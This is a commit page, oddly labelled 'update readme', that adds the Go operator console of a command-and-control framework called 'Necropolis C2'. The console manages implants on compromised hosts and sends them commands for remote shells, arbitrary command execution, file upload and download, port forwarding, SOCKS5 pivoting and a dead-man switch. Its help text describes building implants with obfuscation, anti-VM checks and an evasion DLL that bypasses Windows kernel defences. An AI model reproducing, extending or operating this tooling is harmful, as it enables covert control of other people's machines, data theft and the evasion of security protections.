update readme
This commit is contained in:
@@ -0,0 +1,555 @@
|
||||
// Interactive command-line console for the operator. Provides command dispatch with
|
||||
// history, auto-complete hints, and context-sensitive prompts.
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/peterh/liner"
|
||||
)
|
||||
|
||||
var commandHelp = map[string]string{
|
||||
"list": "list — show registered implants",
|
||||
"select": "select <idx> — select implant by index",
|
||||
"ps": "ps — list processes on selected implant",
|
||||
"ls": "ls [path] — list directory (default: .)",
|
||||
"cd": "cd [path] — change directory (default: .)",
|
||||
"pwd": "pwd — print working directory",
|
||||
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
|
||||
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
|
||||
"exec": "exec <command> [args...] — execute command on selected implant",
|
||||
"deadman": "deadman <timeout_seconds> <command> — set dead man switch (fires if no contact within timeout)",
|
||||
"download": "download <remote-path> — download file from implant",
|
||||
"upload": "upload <local-path> <remote-path> — upload file to implant",
|
||||
"kill": "kill — terminate the selected implant",
|
||||
"generate": "generate [flags] — build an implant\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./necropolis-implant)\n --pubkey <path> operator public key (default: ~/.necropolis/operator.pub)\n --upx enable UPX compression (default: false)\n --obfuscate obfuscate the binary with garble\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (65+ techniques)\n --evasion embed Zig evasion DLL (kernel bypass on Windows)",
|
||||
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
|
||||
"socks": "socks start|list|stop — manage SOCKS5 proxies (use 'socks help' for details)",
|
||||
"help": "help [command] — show this help or help for a specific command",
|
||||
"exit": "exit — quit the console",
|
||||
}
|
||||
|
||||
// checkHelp returns true if --help or -h is present in the args.
|
||||
func checkHelp(args []string) bool {
|
||||
for _, a := range args {
|
||||
if a == "--help" || a == "-h" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RunCLI starts the interactive operator console read-eval-print loop. It handles
|
||||
// implant selection, command dispatch, and manages the implant connection context.
|
||||
func (o *Operator) RunCLI() {
|
||||
os.MkdirAll(necropolisDir(), 0700)
|
||||
|
||||
line := liner.NewLiner()
|
||||
defer line.Close()
|
||||
|
||||
line.SetCtrlCAborts(true)
|
||||
|
||||
histPath := filepath.Join(necropolisDir(), "history")
|
||||
if f, err := os.Open(histPath); err == nil {
|
||||
line.ReadHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
defer saveHistory(histPath, line)
|
||||
|
||||
var selected *ImplantRecord
|
||||
|
||||
fmt.Println(boldRed("Necropolis C2") + dim + " — The Citadel" + reset)
|
||||
fmt.Println(dim + "Type 'help' for commands, 'help <command>' for details." + reset)
|
||||
fmt.Println()
|
||||
|
||||
for {
|
||||
if selected != nil && selected.Disconnected {
|
||||
fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
|
||||
selected = nil
|
||||
}
|
||||
|
||||
prompt := boldRed("necropolis") + "> "
|
||||
if selected != nil {
|
||||
prompt = boldGreen(selected.Name+"@"+selected.Hostname) + "> "
|
||||
}
|
||||
|
||||
fmt.Print(prompt)
|
||||
input, err := line.Prompt("")
|
||||
if err != nil {
|
||||
if err == liner.ErrPromptAborted {
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
input = strings.TrimSpace(input)
|
||||
if input == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
line.AppendHistory(input)
|
||||
|
||||
parts := strings.Fields(input)
|
||||
cmd := parts[0]
|
||||
args := parts[1:]
|
||||
|
||||
switch cmd {
|
||||
case "exit", "quit":
|
||||
return
|
||||
|
||||
case "help":
|
||||
if len(args) > 0 {
|
||||
if h, ok := commandHelp[args[0]]; ok {
|
||||
fmt.Println(" " + h)
|
||||
} else {
|
||||
fmt.Printf("no help for '%s'\n", args[0])
|
||||
}
|
||||
continue
|
||||
}
|
||||
fmt.Println("Commands:")
|
||||
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "socks", "exec", "deadman", "download", "upload", "kill", "generate", "regenerate", "help", "exit"} {
|
||||
line := commandHelp[name]
|
||||
if i := strings.IndexByte(line, '\n'); i >= 0 {
|
||||
line = line[:i]
|
||||
}
|
||||
fmt.Println(" " + line)
|
||||
}
|
||||
fmt.Println("Use 'help <command>' for details and flags.")
|
||||
|
||||
case "list":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["list"])
|
||||
continue
|
||||
}
|
||||
implants := o.ListImplants()
|
||||
active := 0
|
||||
relayCount := 0
|
||||
for _, rec := range implants {
|
||||
if rec.Disconnected {
|
||||
continue
|
||||
}
|
||||
relay := ""
|
||||
if rec.IsRelay {
|
||||
relay = " " + dimYellow("[relay]")
|
||||
relayCount++
|
||||
}
|
||||
ago := time.Since(rec.LastCheckin).Round(time.Second)
|
||||
fmt.Printf(" %d: %s@%s [%s/%s] last=%s peer=%s%s\n",
|
||||
active, boldGreen(rec.Name), rec.Hostname, rec.OS, rec.Arch, ago, dim+shortenStr(rec.PeerID, 20)+reset, relay)
|
||||
active++
|
||||
}
|
||||
if active == 0 {
|
||||
fmt.Println("no connected implants")
|
||||
} else {
|
||||
fmt.Printf("%d connected (%d relays)\n", active, relayCount)
|
||||
}
|
||||
|
||||
case "select":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["select"])
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: select <idx>")
|
||||
continue
|
||||
}
|
||||
idx, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
fmt.Printf("bad index: %v\n", err)
|
||||
continue
|
||||
}
|
||||
implants := o.ListImplants()
|
||||
// Filter to only connected implants for indexing
|
||||
var connected []*ImplantRecord
|
||||
for _, rec := range implants {
|
||||
if !rec.Disconnected {
|
||||
connected = append(connected, rec)
|
||||
}
|
||||
}
|
||||
if idx < 0 || idx >= len(connected) {
|
||||
fmt.Println("index out of range")
|
||||
continue
|
||||
}
|
||||
selected = connected[idx]
|
||||
o.SetSelected(selected.PeerID)
|
||||
fmt.Printf("selected %s@%s (%s)\n", boldGreen(selected.Name), selected.Hostname, dim+selected.PeerID+reset)
|
||||
|
||||
case "ps":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["ps"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if err := o.Ps(selected.PeerID); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "ls":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["ls"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
path := "."
|
||||
if len(args) > 0 {
|
||||
path = args[0]
|
||||
}
|
||||
if err := o.Ls(selected.PeerID, path); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "cd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["cd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
path := "."
|
||||
if len(args) > 0 {
|
||||
path = args[0]
|
||||
}
|
||||
if err := o.Cd(selected.PeerID, path); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "pwd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["pwd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if err := o.Pwd(selected.PeerID); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "shell":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["shell"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
|
||||
fmt.Println(dimYellow("=== shell started (Ctrl+] to escape) ==="))
|
||||
if err := o.OpenShell(selected.PeerID); err != nil {
|
||||
fmt.Printf("shell error: %v\n", err)
|
||||
}
|
||||
fmt.Println(dimYellow("=== shell ended ==="))
|
||||
|
||||
case "portfwd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["portfwd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: portfwd <local-port> <target-host:target-port>")
|
||||
continue
|
||||
}
|
||||
localPort, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
fmt.Printf("bad port: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if err := o.Portfwd(selected.PeerID, localPort, args[1]); err != nil {
|
||||
fmt.Printf("portfwd error: %v\n", err)
|
||||
}
|
||||
|
||||
case "socks":
|
||||
if len(args) == 0 || args[0] == "help" || checkHelp(args) {
|
||||
fmt.Println(" socks <subcommand> [args]")
|
||||
fmt.Println(" subcommands:")
|
||||
fmt.Println(" start <idx|random> <port> — start SOCKS5 proxy (uses saved credentials if available)")
|
||||
fmt.Println(" list — show running SOCKS5 proxies")
|
||||
fmt.Println(" stop <port> — stop a running SOCKS5 proxy")
|
||||
fmt.Println(" reset-creds — clear saved credentials (re-prompt on next start)")
|
||||
continue
|
||||
}
|
||||
|
||||
switch args[0] {
|
||||
case "start":
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: socks start <idx|random> <port>")
|
||||
continue
|
||||
}
|
||||
idArg := args[1]
|
||||
port := 1080
|
||||
if len(args) > 2 {
|
||||
if p, err := strconv.Atoi(args[2]); err == nil && p > 0 && p <= 65535 {
|
||||
port = p
|
||||
} else {
|
||||
fmt.Printf("bad port: %s\n", args[2])
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
creds, _ := LoadSocksCreds()
|
||||
var username, password string
|
||||
if creds != nil {
|
||||
username = creds.Username
|
||||
fmt.Printf("using saved credentials (user: %s)\n", username)
|
||||
pass, err := line.Prompt("SOCKS password: ")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !checkPassword(pass, creds.PasswordHash) {
|
||||
fmt.Println("incorrect password")
|
||||
continue
|
||||
}
|
||||
password = pass
|
||||
} else {
|
||||
u, err := line.Prompt("SOCKS username: ")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
p, err := line.Prompt("SOCKS password: ")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
username = u
|
||||
password = p
|
||||
hash, err := hashPassword(password)
|
||||
if err != nil {
|
||||
fmt.Printf("failed to hash password: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if err := SaveSocksCreds(&SocksCreds{Username: username, PasswordHash: hash}); err != nil {
|
||||
fmt.Printf("failed to save socks creds: %v\n", err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
targetID := idArg
|
||||
if idArg != "random" {
|
||||
peerID, rec, err := o.pickImplantPeerID(idArg)
|
||||
if err != nil {
|
||||
fmt.Printf("socks: %v\n", err)
|
||||
continue
|
||||
}
|
||||
targetID = peerID
|
||||
fmt.Printf("using implant %s@%s\n", rec.Name, rec.Hostname)
|
||||
}
|
||||
fmt.Printf("starting SOCKS5 proxy on 127.0.0.1:%d...\n", port)
|
||||
if err := o.SocksStart(targetID, port, username, password); err != nil {
|
||||
fmt.Printf("socks start error: %v\n", err)
|
||||
}
|
||||
|
||||
case "list":
|
||||
proxies := o.SocksList()
|
||||
if len(proxies) == 0 {
|
||||
fmt.Println("no SOCKS5 proxies running")
|
||||
} else {
|
||||
fmt.Println("SOCKS5 proxies:")
|
||||
for _, p := range proxies {
|
||||
uptime := time.Since(p.StartTime).Round(time.Second)
|
||||
fmt.Printf(" %d: %s -> implant %s (up %s)\n", p.Port, p.Username, p.ImplantID, uptime)
|
||||
}
|
||||
}
|
||||
|
||||
case "stop":
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: socks stop <port>")
|
||||
continue
|
||||
}
|
||||
port, err := strconv.Atoi(args[1])
|
||||
if err != nil || port < 1 || port > 65535 {
|
||||
fmt.Printf("bad port: %s\n", args[1])
|
||||
continue
|
||||
}
|
||||
if err := o.SocksStop(port); err != nil {
|
||||
fmt.Printf("socks stop error: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("SOCKS5 proxy on port %d stopped\n", port)
|
||||
}
|
||||
|
||||
case "reset-creds":
|
||||
if err := ClearSocksCreds(); err != nil {
|
||||
fmt.Printf("reset-creds error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("SOCKS credentials cleared")
|
||||
}
|
||||
|
||||
default:
|
||||
fmt.Printf("unknown socks subcommand: %s (try 'socks help')\n", args[0])
|
||||
}
|
||||
|
||||
case "download":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["download"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: download <path>")
|
||||
continue
|
||||
}
|
||||
if err := o.Download(selected.PeerID, args[0]); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("download command sent")
|
||||
}
|
||||
|
||||
case "upload":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["upload"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: upload <src> <dst>")
|
||||
continue
|
||||
}
|
||||
fmt.Printf("uploading %s...\n", args[0])
|
||||
if err := o.UploadFile(selected.PeerID, args[0], args[1]); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("upload command sent")
|
||||
}
|
||||
|
||||
case "exec", "execute":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["exec"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: exec <cmd> [args...]")
|
||||
continue
|
||||
}
|
||||
if err := o.Execute(selected.PeerID, args[0], args[1:]); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "deadman":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["deadman"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: deadman <timeout_seconds> <command>")
|
||||
continue
|
||||
}
|
||||
timeout, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
fmt.Println("timeout must be a number")
|
||||
continue
|
||||
}
|
||||
cmd := strings.Join(args[1:], " ")
|
||||
if err := o.DeadMan(selected.PeerID, cmd, timeout); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("dead man switch set: %s in %ds\n", cmd, timeout)
|
||||
}
|
||||
|
||||
case "kill":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["kill"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
fmt.Printf(redText("kill %s@%s? [y/N] "), selected.Name, selected.Hostname)
|
||||
ans, _ := line.Prompt("")
|
||||
if ans != "y" && ans != "Y" && ans != "yes" {
|
||||
fmt.Println("cancelled")
|
||||
continue
|
||||
}
|
||||
if err := o.Kill(selected.PeerID); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("kill command sent")
|
||||
}
|
||||
|
||||
case "generate":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["generate"])
|
||||
continue
|
||||
}
|
||||
if err := RunGenerate(args); err != nil {
|
||||
fmt.Printf("generate error: %v\n", err)
|
||||
}
|
||||
|
||||
case "regenerate":
|
||||
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
|
||||
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
|
||||
ans, err := line.Prompt("Are you sure? [y/N] ")
|
||||
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
|
||||
fmt.Println("cancelled")
|
||||
continue
|
||||
}
|
||||
keyPath := keyPath()
|
||||
pubPath := pubKeyPath()
|
||||
os.Remove(keyPath)
|
||||
os.Remove(pubPath)
|
||||
log.Printf("deleted %s and %s", keyPath, pubPath)
|
||||
log.Printf("regenerated keys will take effect on next startup")
|
||||
fmt.Println("Restart necropolis for the new keys to take effect.")
|
||||
|
||||
default:
|
||||
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// saveHistory persists the console command history to disk.
|
||||
func saveHistory(path string, line *liner.State) {
|
||||
if f, err := os.Create(path); err == nil {
|
||||
line.WriteHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// shortenStr truncates a string to max characters with ellipsis.
|
||||
func shortenStr(s string, max int) string {
|
||||
if len(s) <= max {
|
||||
return s
|
||||
}
|
||||
return s[:max] + "..."
|
||||
}
|
||||
Reference in New Issue
Block a user